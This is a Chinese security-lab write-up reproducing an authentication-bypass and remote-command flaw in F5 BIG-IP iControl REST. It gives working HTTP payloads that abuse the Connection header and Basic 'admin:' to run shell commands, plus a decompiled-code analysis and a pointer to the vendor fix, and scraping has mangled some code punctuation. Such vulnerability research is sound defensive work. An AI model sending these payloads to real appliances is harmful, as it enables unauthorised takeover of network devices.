F5-BIGIP iControl REST绕过授权访问漏洞复现

admin 2022年5月13日19:54:11评论228 views字数 14037阅读46分47秒阅读模式

F5-BIGIP iControl REST绕过授权访问漏洞复现

戟星安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3600字,阅读约需10分钟。


F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现

0x00 环境搭建

F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现



进入产品下载页面。

https://downloads.f5.com/esd/productlines.jsp


F5-BIGIP iControl REST绕过授权访问漏洞复现


这里我们找一个存在漏洞的版本下载。


F5-BIGIP iControl REST绕过授权访问漏洞复现

账号密码【账号】:root【密码】:default


F5-BIGIP iControl REST绕过授权访问漏洞复现


查看IP[congig]


F5-BIGIP iControl REST绕过授权访问漏洞复现



得到ip.访问https://10.20.6.28/tmui/login.jsp出现登录界面,环境准备结束。


F5-BIGIP iControl REST绕过授权访问漏洞复现


F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现

0x01 漏洞验证

F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现




尝试发送poc发现请求结果直接就执行了命令。

payload

POST /mgmt/tm/util/bash HTTP/1.1Host: REDACTED:8083Content-Length: 45Connection: Keep-Alive, X-F5-Auth-TokenCache-Control: max-age=0X-F5-Auth-Token: vvsAuthorization: Basic YWRtaW46{"command":"run","utilCmdArgs":"-c id"}


F5-BIGIP iControl REST绕过授权访问漏洞复现

 

F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现

0x02 漏洞分析

F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现



进行漏洞分析首先需要先定位漏洞点。根据poc发现漏洞是存在于443端口的https的服务上,接着ssh登录上机器,看看443端口绑定的什么服务。

发现是httpd服务。这里看一下httpd服务的配置文件,来找到具体是谁在处理数据。httpd的配置文件叫httpd.conf 这里用find搜索一下有两个结果,再仔细看一下。

文件位于/var/run/config/httpd.conf仔细检查配置文件。


F5-BIGIP iControl REST绕过授权访问漏洞复现

AuthPAM开启,调用了httpd的某个so文件进行预先的认证,也就是在使用httpd服务时先进行认证。


F5-BIGIP iControl REST绕过授权访问漏洞复现



给mgmt发送的的请求,都是8100端口的服务处理的。

位于此处的是一个java服务。以下为classpath:


classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.6.2.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/joda-time-2.9.4.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar:/usr/share/java/commons-codec.jar com.f5.rest.workers.RestWorkerHost
 
去掉了header的Connection中的X-F5-Auth-Token这样的话java就会产生报错打印出堆栈信息。

F5-BIGIP iControl REST绕过授权访问漏洞复现



通过前面的classpath把载入的java包下载下来进行分析。使用反编译工具简单看一下jar包。报错中主要涉及的库,位于f5.rest.jar中。

at com.f5.rest.workers.storage.StorageWorker.onQuery(StorageWorker.java:235)",
以下为函数体


F5-BIGIP iControl REST绕过授权访问漏洞复现

从currentGenerationMap 取不到storageKey对应的值引发报错。随后往上层栈翻了翻没找到鉴权相关流程。这里切换一下思路。我们找一找X-F5-Auth-Token的处理流程。找到三个和X-F5-Auth-Token相关的代码。

public static final String ACCESS_CONTROL_ALLOW_HEADERS_VALUE = "X-F5-Auth-Token, X-F5-REST-Coordination-Id, X-Auth-Token, X-Forwarded-For, X-F5-Gossip, Authorization, Cookie, Content-Length, Content-Range, Content-Type, User-Agent";
//该变量设置了准许头的值
public static final String X_F5_AUTH_TOKEN_HEADER = "X-F5-Auth-Token";
public static final String X_F5_AUTH_TOKEN_HEADER_WITH_COLON = "X-F5-Auth-Token:"

查找变量X_F5_AUTH_TOKEN_HEADER的引用发现其在buildRequestHeaders函数中使
用。整个函数的作用,就是提取请求的头。以字符串把请求返回去。看看另一个变
量的引用,存在这么一段代码:
public String getName() {    return RestOperation.X_F5_AUTH_TOKEN_HEADER_WITH_COLON;}public void setData(RestOperation operation, String value) {    operation.setXF5AuthToken(value);}public boolean quickCheck(StringBuilder headerLine) {    if (!HttpParserHelper.matchesOneChar(headerLine.charAt(2), 'F''f') || HttpParserHelper.matchesHeaderPrefix(headerLine, getName())) {        return false;    }    return true;}

getName获取参数名字 setData调用operation.setXF5AuthToken 设置值 quickCheck用于简单校验判断是不是这个header,核心代码如下

!HttpParserHelper.matchesOneChar(headerLine.charAt(2), 'F''f'|| !HttpParserHelper.matchesHeaderPrefix(headerLine, getName()))


operation.setXF5AuthToken函数如下。

public RestOperation setXF5AuthToken(String token) {    setupAuthorizationData();    if (token == null) {        this.authorizationData.xF5AuthTokenState = null;    } else {        this.authorizationData.xF5AuthTokenState = new AuthTokenItemState();        this.authorizationData.xF5AuthTokenState.token = token;    }    return this;}

该函数首先使用函数创建对象,具体实现代码如下

private void setupAuthorizationData() {    if (this.authorizationData == null) {        this.authorizationData = new AuthorizationData();    }}

接着判断传入的参数token是否为空 为空把this.authorizationData.xF5AuthTokenState 设置为null。不为空则把值赋值给this.authorizationData.xF5AuthTokenState.token 。往下看发现了getXF5AuthToken和getXF5AuthTokenState方法。

public String getXF5AuthToken() {    if (this.authorizationData == null || this.authorizationData.xF5AuthTokenState == null) {        return null;    }    return this.authorizationData.xF5AuthTokenState.token;}public AuthTokenItemState getXF5AuthTokenState() {    if (this.authorizationData == null) {        return null;    }    return this.authorizationData.xF5AuthTokenState;}

在鉴权过程中必然会使用这两个代码,因此查看这两个函数的引用即可。猜测鉴权过程中先调用getXF5AuthTokenState确认是否有token 而后使用get获取token。查看两个函数的引用。

EvaluatePermissions的两个方法,进入其中查看其代码发现整个EvaluatePermissions是鉴权部分。

EvaluatePermissions含有三个方法。

evaluatePermission,completeEvaluatePermission,failPermissionValidation其中failPermissionValidation代表鉴权失败,做一些失败后的数据设置

public static void failPermissionValidation(RestOperation request, String error) {    request.setWwwAuthenticate(RestOperation.X_AUTH_TOKEN_HEADER);    String deviceAuthCookie = request.getCookie(DeviceAuthTokenHelper.BIGIP_AUTH_COOKIE);    String authToken = request.getXF5AuthToken();    if (deviceAuthCookie != null && authToken == null) {        request.setWwwAuthenticate(RestOperation.BASIC_REALM_REST_API);    }    request.setBody((Stringnull);    request.setIsRestErrorResponseRequired(true);    request.setStatusCode(RestOperation.STATUS_UNAUTHORIZED);    request.fail(new SecurityException(error));}

其中最核心的代码是completeEvaluatePermission函数,而漏洞也出在此处。evaluatePermission函数会根据情况不同,来为completeEvaluatePermission提供不同的参数。

这里可以看到根据authToken的值为completeEvaluatePermission赋予不同的参数,当authToken为null时,completeEvaluatePermission的token参数为空,这时候问题就来了,我们分析completeEvaluatePermission函数。以下是completeEvaluatePermission的部分代码

public static void completeEvaluatePermission(RestOperation request, AuthTokenItemState token, RolesWorker rolesWorker, CompletionHandler<Void> finalCompletion) {    final String path;    if (token != null) {        if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {            failPermissionValidation(request, "X-F5-Auth-Token has expired.");            finalCompletion.failed((Exception) nullnull);            return;        }        request.setXF5AuthTokenState(token);    }    request.setBasicAuthFromIdentity();    if (!request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) || !request.getMethod().equals(RestOperation.RestMethod.POST)) {        final RestReference userRef = request.getAuthUserReference();        if (RestReference.isNullOrEmpty(userRef)) {            failPermissionValidation(request, "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender());            finalCompletion.failed((Exception) nullnull);        } else if (AuthzHelper.isDefaultAdminRef(userRef)) {            finalCompletion.completed(null);        } else {            if (UrlHelper.hasODataInPath(request.getUri().getPath())) {                path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));            } else {                path = UrlHelper.normalizeUriPath(request.getUri().getPath());            }            final RestOperation.RestMethod verb = request.getMethod();            if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter(RestHelper.ODATA_EXPAND_FIELD) != null) {                String filterField = request.getParameter(RestHelper.ODATA_FILTER_FIELD);                if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {                    finalCompletion.completed(null);                    return;                }            }            if (token != null) {                if (path.equals(UrlHelper.buildUriPath(EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token))) {                    finalCompletion.completed(null);                    return;                }            }

第一步,判断token是否为空,当token不为空时,略过此流程,继续往下执行。


F5-BIGIP iControl REST绕过授权访问漏洞复现


request.setBasicAuthFromIdentity()函数

public void setBasicAuthFromIdentity() {    if (this.authorizationData != null) {        this.authorizationData.basicAuthValue = AuthzHelper.encodeBasicAuth(getAuthUser(), (String) null);    }}

作用大致为,设置basicAuthValue的值为base64编码后的this.identityData.userName。

if (!request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) || !request.getMethod().equals(RestOperation.RestMethod.POST)) {

大致作用为,对访问路径,请求包的方法进行校验,当我们请求的路径不是登录路径或者不是post方法时,进入后面的流程。

final RestReference userRef = request.getAuthUserReference();if (RestReference.isNullOrEmpty(userRef)) {        failPermissionValidation(request, "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender());        finalCompletion.failed((Exception) nullnull);    } else if (AuthzHelper.isDefaultAdminRef(userRef)) {        finalCompletion.completed(null);获取this.identityData.userReference的值给userRef,随后判断userRef的值是否为空,接着判断userRef是否是admin的userRef值。当为admin的userRef值时。进入finalCompletion.completed函数。从而导致了绕过鉴权。public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {    if (userName == null && !RestReference.isNullOrEmpty(userReference)) {        String segment = UrlHelper.getLastPathSegment(userReference.link);        if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment)))) {            userName = segment;        }    }    if (userName != null && RestReference.isNullOrEmpty(userReference)) {        userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName)));    }    this.identityData = new IdentityData();    this.identityData.userName = userName;    this.identityData.userReference = userReference;    this.identityData.groupReferences = groupReferences;    return this;}

这里分两种情况userReference和userName均为空以及userReference和userName均不为空。这两个变量是函数的参数,往上找上一层的函数。查看其引用发现com.f5.rest.common.RestOperationIdentifier有多次引用,看一下代码。其中有一个setIdentityFromBasicAuth方法。

private static boolean setIdentityFromBasicAuth(RestOperation request) {    String authHeader = request.getBasicAuthorization();    if (authHeader == null) {        return false;    }    request.setIdentityData(AuthzHelper.decodeBasicAuth(authHeader).userName, (RestReference) null, (RestReference[]) null);    return true;}

从header取得数据来进行初始化authHeader变量。实际上返回的是this.authorizationData.basicAuthValue的值,接着找设置该值的函数。也就是setBasicAuthorizationHeader函数。

public RestOperation setBasicAuthorizationHeader(String value) {    byte[] data;    setupAuthorizationData();    if (value != null && ((data = DatatypeConverter.parseBase64Binary(value)) == null || data.length == 0)) {        LOGGER.warningFmt("Basic Authorization header set to value that is invalid base64. Value: %s"value);        value = null;    }    this.authorizationData.basicAuthValue = value;    return this;}

接着查看该函数在何处引用,传入的value值是什么。看到了熟悉的一串代码,类似从header的X-F5-Auth-Token提取数据初始化的过程。

BASIC_AUTH {    public String getName() {        return RestOperation.BASIC_AUTHORIZATION_HEADER_LOWERCASE;    }    public void setData(RestOperation operation, String value) {        operation.setBasicAuthorizationHeader(value);    }    public boolean quickCheck(StringBuilder headerLine) {        return HttpParserHelper.matchesOneChar(headerLine.charAt(0), 'A''a') && HttpParserHelper.matchesOneChar(headerLine.charAt(1), 'U''u') && HttpParserHelper.matchesHeaderPrefix(headerLine, getName());    }}

查看getname返回的字段

RestOperation.BASIC_AUTHORIZATION_HEADER_LOWERCASE定义的变量。

public static final String AUTHORIZATION_HEADER = "Authorization";
public static final String BASIC_AUTHORIZATION_HEADER = "Authorization: Basic ";
public static final int BASIC_AUTHORIZATION_HEADER_LENGTH = BASIC_AUTHORIZATION_HEADER.length();
public static final String BASIC_AUTHORIZATION_HEADER_LOWERCASE = BASIC_AUTHORIZATION_HEADER.toLowerCase();

也就是说该字段是由header的Authorization:Basic设置的。观察poc也存在此字段

Authorization: Basic YWRtaW46

尝试更改poc中的Authorization数据为dXNlcjo=,也就是user:的base64编码


F5-BIGIP iControl REST绕过授权访问漏洞复现


YWRtaW46的base64解码正好是admin: 至此整个绕过的思路就清晰了,首先是当X-F5-Auth-Token为空时走入另一条验证流程,而这个流程依赖于我们给header提供的Authorization:字段。因为Authorization字段可控,并且没有复杂的加密处理,从而导致可以轻易绕过鉴权。接着就是如何设置X-F5-Auth-Token为空了。这里涉及到一个hop-by-hop headersabuse的漏洞。

简单来说就是。遇到Keep-Alive、Transfer-Encoding、TE、Connection、Trailer、Upgrade这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点。如我们的请求中带有header头:Connection: close, X-Foo, X-Bar,原始请求在转发到代理时,逐跳处理则会将X-Foo和 X-Bar从原始请求中删除。这样我们既通过了对X-F5-Auth-Token 标头的校验,同时又能使其在到达java处理流程时为空。而在实际测试中,我却发现这个和hop-by-hop参考文章里的又不一样。即使我不使用Keep-Alive、Transfer-Encoding、TE、Connection、Trailer、Upgrade这些标头。

Payload

POST /mgmt/tm/util/bash HTTP/1.1Host: REDACTED:8083Content-Length: 49Connection:  12345,X-F5-Auth-TokenCache-Control: max-age=0X-F5-Auth-Token: vvsAuthorization: Basic YWRtaW46
{"command":"run","utilCmdArgs":"-c whoami"}

F5-BIGIP iControl REST绕过授权访问漏洞复现


Payload

POST /mgmt/tm/util/bash HTTP/1.1Host: REDACTED:8083Content-Length: 49Connection:  X-F5-Auth-TokenCache-Control: max-age=0X-F5-Auth-Token: vvsAuthorization: Basic YWRtaW46 {"command":"run","utilCmdArgs":"-c whoami"}

F5-BIGIP iControl REST绕过授权访问漏洞复现



F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现

0x03 漏洞修复

F5-BIGIP iControl REST绕过授权访问漏洞复现
F5-BIGIP iControl REST绕过授权访问漏洞复现



具体修复参考官方提供的方法,

https://support.f5.com/csp/article/K23605346

更新至最新版本。

修改 BIG-IP httpd 配置


 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


F5-BIGIP iControl REST绕过授权访问漏洞复现

戟星安全实验室

# 长按二维码 关注我们 #



原文始发于微信公众号(戟星安全实验室):F5-BIGIP iControl REST绕过授权访问漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日19:54:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   F5-BIGIP iControl REST绕过授权访问漏洞复现http://cn-sec.com/archives/1005544.html

发表评论

匿名网友 填写信息